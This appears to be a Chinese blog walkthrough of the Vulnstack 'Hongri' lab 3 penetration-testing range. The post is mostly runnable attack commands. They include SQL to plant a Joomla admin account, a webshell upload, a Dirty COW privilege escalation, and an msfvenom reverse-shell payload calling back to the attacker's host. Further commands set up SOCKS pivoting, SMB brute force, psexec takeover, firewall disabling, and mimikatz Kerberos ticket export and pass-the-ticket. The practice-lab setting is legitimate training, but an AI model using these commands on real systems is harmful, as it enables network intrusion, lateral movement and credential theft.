红日靶场三

靶机地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

环境配置

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。

挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。

除重新获取ip,不建议进行任何虚拟机操作。

网络拓扑

内网ip是192.168.93.x

只需要配置centos的网卡即可

这次是黑盒环境,不提供密码

启动所有机器之后,centos重新获取网卡

service network restart

外网渗透

扫出个192.168.22.140

端口扫描出个mysql服务

扫出来mysql有弱密码

顺利登入mysql

在表中发现管理员账号,密码加密过

目录扫描出个/administrator

这个密码字段是 Joomla 旧版本支持的加盐哈希格式,可以根据官方文档直接写入已知密码 secret 对应的哈希。

是了一圈都不对,搜了大佬的博客看到joomla官方文档有写

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

当不知道密码时,数据库密码直接改为d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199可以直接用密码secret登录

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

看看有没有可以写马的地方

致敬老艺术家Beez3

传个木马

发现命令不能执行,应该是有函数把function过滤了,用插件可以绕过过滤

Linux提权

发现主机有两个网卡,内网ip是192.168.93.120,并且版本是ubuntu4.4.0

tmp有个mysql文件夹,里面添加了一个用户

wwwuser\wwwuser_123Aqx

没有其他需要账密的地方了,那就是ssh登录了

登入后发现内网ip变成192.168.93.100了

主机也变成centos了,推测nginx服务器进行了代理

user  nginx;
worker_processes  1;
error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;
events {
    worker_connections  1024;
}
http {
  server {
        listen  80;
        server_name  localhost;
        location / {
         proxy_pass  http://192.168.93.120;
              proxy_set_header        Host $host;
              proxy_set_header        X-Real-IP $remote_addr;  #获取真实ip
              proxy_connect_timeout   90;
              proxy_send_timeout      90;
              proxy_read_timeout      90;
              proxy_buffer_size       4k;
              proxy_buffers           4 32k;
              proxy_busy_buffers_size 64k;
              proxy_temp_file_write_size 64k;
              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;#获取代理者的真实ip
              proxy_redirect          off;
}
}
}
stream  {
upstream proxy_name {
    server 192.168.93.120:3306;
}
server {
    listen 3306;
    proxy_pass proxy_name;
}
}

cat /etc/nginx/nginx.conf

这个nginx配置文件就很清晰了,我们的webshell是在192.168.93.120(ubuntu)靶机上的,而通过反向代理到了192.168.93.100|192.168.22.140(Centos)

这就是为什么反弹shell和上传msf都没有成功(我就不试了,全坠机了),因为ubuntu没有出网,所以压根不知道你的kali(192.168.22.x)在哪,所以msf和反弹shell都失败

内核版本比较低( Linux Kernel 2.6.22 到 2016 年 10 月发布修复补丁之前的绝大多数版本 )https://github.com/imust6226/dirtcow

上传到/tmp文件后gcc -pthread dirty.c -o dirty -lcrypt对.c文件进行编译

提权成功firefart\pass

可以考虑用earthworem或msf连接到内网,我两个都试一遍

earthworm:https://github.com/idlefire/ew

给权限,开1080端口

chmod +x ew_for_linux64 ./ew_for_linux64 -s ssocksd -l 1080 &

Windows使用Proxifier代理工具

仅有一个代理还不够,这样所有流量都会塞进去,设置一个服务器代理规则

记得把下面Default动作改为Direct

就没有一堆流量涌进来的现象了

kali配置

 sudo vim /etc/proxychains4.conf

 进入配置文件后,直接使用方向键滚动到文件的最底部,找到 [ProxyList] 这一块。

干掉默认节点: 你会看到一行默认配置 socks4 127.0.0.1 9050(这是留给 Tor 洋葱路由的)。在它最前面加一个 # 号把它注释掉。

添加 EW 节点: 在下面新建一行,写入你刚才通过 EarthWorm 建立的 SOCKS5 代理信息。

 proxychains nmap -Pn -sT -p 80,445,3389 192.168.93.120

用ew代理应该就这样,因为我kali好像桥接一个网卡,不知道ew起没起作用

linux上线msf

用MSF生成一个shellcode并上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.22.129 LPORT=5555 -f elf -o msfshell.elf
#192.168.22.129改为自己kali的ip

 木马生成后,打开监听

msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.22.129
set LPORT 5555
run

 命令提示符从 msf > 变成了绿色的 meterpreter >就说明msf是上线了。

可以考虑打通内网的路由

在 当前的 meterpreter > 提示符下,执行自动路由添加命令:

run autoroute -s 192.168.93.0/24

 确认路由是否添加成功:

run autoroute -p

 只要看到打印出的路由表里有 192.168.93.0,就说明这层网络逻辑已经打通

 把当前的 Meterpreter 会话挂起到后台,回到 MSF 主控制台:

 background

这时提示符回到msf

use auxiliary/server/socks_proxy
set VERSION 5
set SRVHOST 0.0.0.0
set SRVPORT 1080
run -j

 看到 [*] Auxiliary module running as background job 就说明代理服务已经在 Kali 后台运行了

fscan -h 192.168.93.1/24 -proxy socks5://127.0.0.1:1080 -np

可以再fscan扫描一下

这一下信息搜集的差不多了

 192.168.93.20 (主机名/FQDN 为 win2008.test.org),域为 test.org,NetBIOS 主机名为 WIN2008。 开放80(HTTP),135(RPC),139,445(SMB),1433(MSSQL)

 192.168.93.30 (win7) 135(RPC),139,445(SMB)

 192.168.93.10 (WIN-8GA…) 135(RPC),139,445(SMB)

我试了一圈没试出来,看博客说的用smb爆破,但是我字典里压根没有这个,手动加一下

新开一个kali窗口
echo "123qwe!ASD" >> /usr/share/wordlists/fasttrack.txt
background
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set SMBUser Administrator
set PASS_FILE /usr/share/wordlists/fasttrack.txt
set THREADS 10
run

抓到密码了

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.30
set SMBUser Administrator
set SMBPass 123qwe!ASD
run

提示符变成metapreter就说明拿到主机了

老规矩先关防火墙

shell netsh advfirewall set allprofiles state off

之后发现192.168.93.10,192.168.93.20都可以用这个密码,权限是system

还是用cs吧,新手还是cs更顺手一点

msf传达会话给cs

思路是可以让Centos当回连地址,接收win2008发出的流量,然后传到kali上再本地转发到127.0.0.1:8888也就是CS监听器上

然后让连接win2008的msf发一个可以让CS连接的木马

新建一个监听器,4422是centos的代理端口,8888是kali的监听端口

ssh -fN \
  -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o ExitOnForwardFailure=yes \
  -R 192.168.93.100:4422:127.0.0.1:8888 \
  firefart@192.168.22.140

在centos开一个4422端口转发到kali的8888端口上

在centos看看是否在监听

如果 SSH 连上了但远程转发失败,再去 CentOS 改:

vi /etc/ssh/sshd_config

确认有:

AllowTcpForwarding yes
GatewayPorts clientspecified

然后重启:

service sshd restart

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set SESSION 1
set LHOST 192.168.93.100
set LPORT 4422
set DisablePayloadHandler true
set PrependMigrate true
set PrependMigrateProc explorer.exe
run

已有 WIN2008 的 Meterpreter 会话后,使用

 `payload_inject` 将会话传递给 CS:

如果目标会话是 x64,也可以使用:

set payload windows/x64/meterpreter/reverse_http

这样就上线成功

横向移动

查看域信息

域名 / Forest:test.org

NetBIOS 域名:TEST

域控 IP:192.168.93.10

域控主机名:WIN-8GA56TNV3MV.test.org

域控系统:Windows Server 2012 R2 Datacenter

AD 站点:Default-First-Site-Name

当前域:test.org

Administrator(本机,同时是管理员)

Guest

krbtgt

win7

win2008

成功上线

.30的PC机可以用.20同样的方法上线,这里就不演示了

生成黄金票据

test.org

nt authority\system S-1-5-18

cd C:\
mimikatz kerberos::list /export
shell dir C:\*.kirbi

使用票据有两种方式。

如果票据在你本地/CS 端,直接用 CS 的命令导入:

kerberos_ticket_use /path/to/ticket.kirbi

然后验证:

shell klist
shell dir \\192.168.93.10\c$

如果票据在目标机器上,也可以用 Mimikatz 导入:

mimikatz kerberos::ptt C:\路径\xxx.kirbi

再验证:

shell klist
shell dir \\192.168.93.10\c$

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇